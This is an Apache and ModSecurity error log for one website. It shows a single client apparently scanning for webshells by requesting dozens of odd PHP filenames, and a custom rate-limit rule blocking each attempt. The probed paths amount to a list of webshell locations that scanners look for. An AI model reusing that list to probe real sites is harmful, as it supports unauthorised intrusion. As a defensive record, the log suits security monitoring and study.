[Fri Apr 03 00:44:38.147930 2026] [:error] [pid 25018:tid 25427] [client 158.158.120.135:41150] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac6c9nupR6lXnAUzFGreeQAAAE4"]
[Fri Apr 03 00:44:38.830614 2026] [:error] [pid 25470:tid 25481] [client 158.158.120.135:40385] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ac6c9nhROcck6_9HYyjjGgAAAMk"]
[Fri Apr 03 00:44:39.469079 2026] [:error] [pid 25018:tid 25433] [client 158.158.120.135:52331] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ac6c93upR6lXnAUzFGregAAAAFQ"]
[Fri Apr 03 00:44:40.175034 2026] [:error] [pid 25018:tid 25432] [client 158.158.120.135:41128] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ac6c-HupR6lXnAUzFGrehAAAAFM"]
[Fri Apr 03 00:44:40.704448 2026] [:error] [pid 25018:tid 25434] [client 158.158.120.135:40451] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "ac6c-HupR6lXnAUzFGrejAAAAFU"]
[Fri Apr 03 00:44:41.353428 2026] [:error] [pid 25010:tid 25368] [client 158.158.120.135:59020] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ac6c-Y_KcjFQF5TuqTWBrAAAABM"]
[Fri Apr 03 00:44:41.868444 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:40439] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ac6c-XhROcck6_9HYyjjKwAAAM4"]
[Fri Apr 03 00:44:42.374999 2026] [proxy_fcgi:error] [pid 25470:tid 25479] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:42.623343 2026] [proxy_fcgi:error] [pid 25470:tid 25496] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:42.874039 2026] [proxy_fcgi:error] [pid 25470:tid 25492] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:43.116485 2026] [proxy_fcgi:error] [pid 25470:tid 25486] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:43.360096 2026] [proxy_fcgi:error] [pid 25470:tid 25474] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:43.601302 2026] [proxy_fcgi:error] [pid 25470:tid 25487] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:43.848930 2026] [proxy_fcgi:error] [pid 25470:tid 25480] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:44.090571 2026] [proxy_fcgi:error] [pid 25470:tid 25493] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:44.332904 2026] [proxy_fcgi:error] [pid 25470:tid 25482] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:44.574868 2026] [proxy_fcgi:error] [pid 25470:tid 25481] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:44.816810 2026] [proxy_fcgi:error] [pid 25470:tid 25489] [client 158.158.120.135:51197] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:44:45.055426 2026] [:error] [pid 25470:tid 25492] [client 158.158.120.135:51197] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac6c_XhROcck6_9HYyjjVQAAANQ"]
[Fri Apr 03 00:44:45.620109 2026] [:error] [pid 25470:tid 25474] [client 158.158.120.135:41107] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac6c_XhROcck6_9HYyjjXAAAAMI"]
[Fri Apr 03 00:44:46.100963 2026] [:error] [pid 25010:tid 25354] [client 158.158.120.135:38558] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac6c_o_KcjFQF5TuqTWBsQAAAAY"]
[Fri Apr 03 00:44:46.656548 2026] [:error] [pid 25470:tid 25478] [client 158.158.120.135:52315] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac6c_nhROcck6_9HYyjjaAAAAMY"]
[Fri Apr 03 00:44:47.191967 2026] [:error] [pid 25470:tid 25494] [client 158.158.120.135:52294] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "ac6c_3hROcck6_9HYyjjbgAAANY"]
[Fri Apr 03 00:44:47.691032 2026] [:error] [pid 25470:tid 25494] [client 158.158.120.135:9233] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "ac6c_3hROcck6_9HYyjjdQAAANY"]
[Fri Apr 03 00:44:48.276774 2026] [:error] [pid 25010:tid 25363] [client 158.158.120.135:59027] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "ac6dAI_KcjFQF5TuqTWBtgAAAA4"]
[Fri Apr 03 00:44:48.785958 2026] [:error] [pid 25018:tid 25432] [client 158.158.120.135:57856] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "ac6dAHupR6lXnAUzFGrelQAAAFM"]
[Fri Apr 03 00:44:49.314582 2026] [:error] [pid 25035:tid 25450] [client 158.158.120.135:59010] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynjli.php"] [unique_id "ac6dARhR292toNOkLqGWtgAAAIg"]
[Fri Apr 03 00:44:49.891057 2026] [:error] [pid 25035:tid 25465] [client 158.158.120.135:38569] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynjli.php"] [unique_id "ac6dARhR292toNOkLqGWuQAAAJc"]
[Fri Apr 03 00:44:51.014605 2026] [:error] [pid 25010:tid 25364] [client 158.158.120.135:41121] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynjli.php"] [unique_id "ac6dA4_KcjFQF5TuqTWBwQAAAA8"]
[Fri Apr 03 00:44:52.901582 2026] [:error] [pid 25010:tid 25368] [client 158.158.120.135:38591] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynjli.php"] [unique_id "ac6dBI_KcjFQF5TuqTWBxwAAABM"]
[Fri Apr 03 00:44:54.028247 2026] [:error] [pid 25470:tid 25495] [client 158.158.120.135:41114] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a6.php"] [unique_id "ac6dBnhROcck6_9HYyjjkgAAANc"]
[Fri Apr 03 00:44:55.722770 2026] [:error] [pid 25035:tid 25446] [client 158.158.120.135:52321] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a6.php"] [unique_id "ac6dBxhR292toNOkLqGWxwAAAIQ"]
[Fri Apr 03 00:44:57.052445 2026] [:error] [pid 25010:tid 25356] [client 158.158.120.135:40395] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a6.php"] [unique_id "ac6dCY_KcjFQF5TuqTWB0QAAAAg"]
[Fri Apr 03 00:44:58.014187 2026] [:error] [pid 25035:tid 25464] [client 158.158.120.135:3062] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a6.php"] [unique_id "ac6dChhR292toNOkLqGW0AAAAJY"]
[Fri Apr 03 00:44:59.508224 2026] [:error] [pid 25470:tid 25474] [client 158.158.120.135:40486] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac6dC3hROcck6_9HYyjjugAAAMI"]
[Fri Apr 03 00:45:01.027615 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:41146] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac6dDXhROcck6_9HYyjjxgAAAM4"]
[Fri Apr 03 00:45:03.984373 2026] [:error] [pid 25010:tid 25359] [client 158.158.120.135:40454] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac6dD4_KcjFQF5TuqTWB8AAAAAs"]
[Fri Apr 03 00:45:05.577330 2026] [:error] [pid 25018:tid 25432] [client 158.158.120.135:52337] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac6dEXupR6lXnAUzFGrewQAAAFM"]
[Fri Apr 03 00:45:09.233489 2026] [:error] [pid 25470:tid 25477] [client 158.158.120.135:32572] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sts.php"] [unique_id "ac6dFXhROcck6_9HYyjj0gAAAMU"]
[Fri Apr 03 00:45:12.280089 2026] [:error] [pid 25010:tid 25355] [client 158.158.120.135:3042] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sts.php"] [unique_id "ac6dGI_KcjFQF5TuqTWCIwAAAAc"]
[Fri Apr 03 00:45:16.928372 2026] [:error] [pid 25470:tid 25491] [client 158.158.120.135:41131] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sts.php"] [unique_id "ac6dHHhROcck6_9HYyjj8QAAANM"]
[Fri Apr 03 00:45:18.173976 2026] [:error] [pid 25010:tid 25362] [client 158.158.120.135:40428] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sts.php"] [unique_id "ac6dHo_KcjFQF5TuqTWCMgAAAA0"]
[Fri Apr 03 00:45:20.060442 2026] [:error] [pid 25035:tid 25444] [client 158.158.120.135:52343] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac6dIBhR292toNOkLqGW_AAAAII"]
[Fri Apr 03 00:45:23.749327 2026] [:error] [pid 25035:tid 25464] [client 158.158.120.135:52306] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac6dIxhR292toNOkLqGXEQAAAJY"]
[Fri Apr 03 00:45:25.076982 2026] [:error] [pid 25035:tid 25451] [client 158.158.120.135:40426] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac6dJRhR292toNOkLqGXFwAAAIk"]
[Fri Apr 03 00:45:26.474997 2026] [:error] [pid 25010:tid 25355] [client 158.158.120.135:40432] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac6dJo_KcjFQF5TuqTWCRwAAAAc"]
[Fri Apr 03 00:45:27.735146 2026] [:error] [pid 25035:tid 25448] [client 158.158.120.135:41113] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ac6dJxhR292toNOkLqGXIgAAAIY"]
[Fri Apr 03 00:45:29.184264 2026] [:error] [pid 25018:tid 25414] [client 158.158.120.135:25550] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ac6dKXupR6lXnAUzFGre_AAAAEI"]
[Fri Apr 03 00:45:31.090139 2026] [:error] [pid 25018:tid 25411] [client 158.158.120.135:38548] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ac6dK3upR6lXnAUzFGrfAQAAAEA"]
[Fri Apr 03 00:45:34.795092 2026] [:error] [pid 25035:tid 25446] [client 158.158.120.135:57913] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "ac6dLhhR292toNOkLqGXOQAAAIQ"]
[Fri Apr 03 00:45:38.254888 2026] [:error] [pid 25470:tid 25474] [client 158.158.120.135:57893] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac6dMnhROcck6_9HYyjkTgAAAMI"]
[Fri Apr 03 00:45:42.106428 2026] [:error] [pid 25018:tid 25419] [client 158.158.120.135:63788] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac6dNnupR6lXnAUzFGrfGgAAAEY"]
[Fri Apr 03 00:45:43.675423 2026] [:error] [pid 25010:tid 25372] [client 158.158.120.135:63774] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac6dN4_KcjFQF5TuqTWChAAAABc"]
[Fri Apr 03 00:45:45.276878 2026] [proxy_fcgi:error] [pid 25470:tid 25472] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:45.521226 2026] [proxy_fcgi:error] [pid 25470:tid 25489] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:45.763795 2026] [proxy_fcgi:error] [pid 25470:tid 25491] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:46.011812 2026] [proxy_fcgi:error] [pid 25470:tid 25495] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:46.256704 2026] [proxy_fcgi:error] [pid 25470:tid 25483] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:46.502943 2026] [proxy_fcgi:error] [pid 25470:tid 25490] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:47.126509 2026] [proxy_fcgi:error] [pid 25470:tid 25493] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:47.370540 2026] [proxy_fcgi:error] [pid 25470:tid 25473] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:47.618047 2026] [proxy_fcgi:error] [pid 25470:tid 25486] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:47.874050 2026] [proxy_fcgi:error] [pid 25470:tid 25484] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:48.118402 2026] [proxy_fcgi:error] [pid 25470:tid 25481] [client 158.158.120.135:63144] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 00:45:48.357675 2026] [:error] [pid 25470:tid 25479] [client 158.158.120.135:63144] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/luyuc.php"] [unique_id "ac6dPHhROcck6_9HYyjkpQAAAMc"]
[Fri Apr 03 00:45:49.733052 2026] [:error] [pid 25470:tid 25482] [client 158.158.120.135:2710] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/luyuc.php"] [unique_id "ac6dPXhROcck6_9HYyjkrAAAAMo"]
[Fri Apr 03 00:45:50.942646 2026] [:error] [pid 25010:tid 25370] [client 158.158.120.135:62460] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/luyuc.php"] [unique_id "ac6dPo_KcjFQF5TuqTWCjQAAABU"]
[Fri Apr 03 00:45:52.333574 2026] [:error] [pid 25010:tid 25365] [client 158.158.120.135:57910] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/luyuc.php"] [unique_id "ac6dQI_KcjFQF5TuqTWCkgAAABA"]
[Fri Apr 03 00:45:53.456590 2026] [:error] [pid 25035:tid 25448] [client 158.158.120.135:2691] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "ac6dQRhR292toNOkLqGXXgAAAIY"]
[Fri Apr 03 00:45:54.624880 2026] [:error] [pid 25010:tid 25362] [client 158.158.120.135:57898] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "ac6dQo_KcjFQF5TuqTWCnwAAAA0"]
[Fri Apr 03 00:45:59.208705 2026] [:error] [pid 25035:tid 25458] [client 158.158.120.135:52371] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "ac6dRxhR292toNOkLqGXbQAAAJA"]
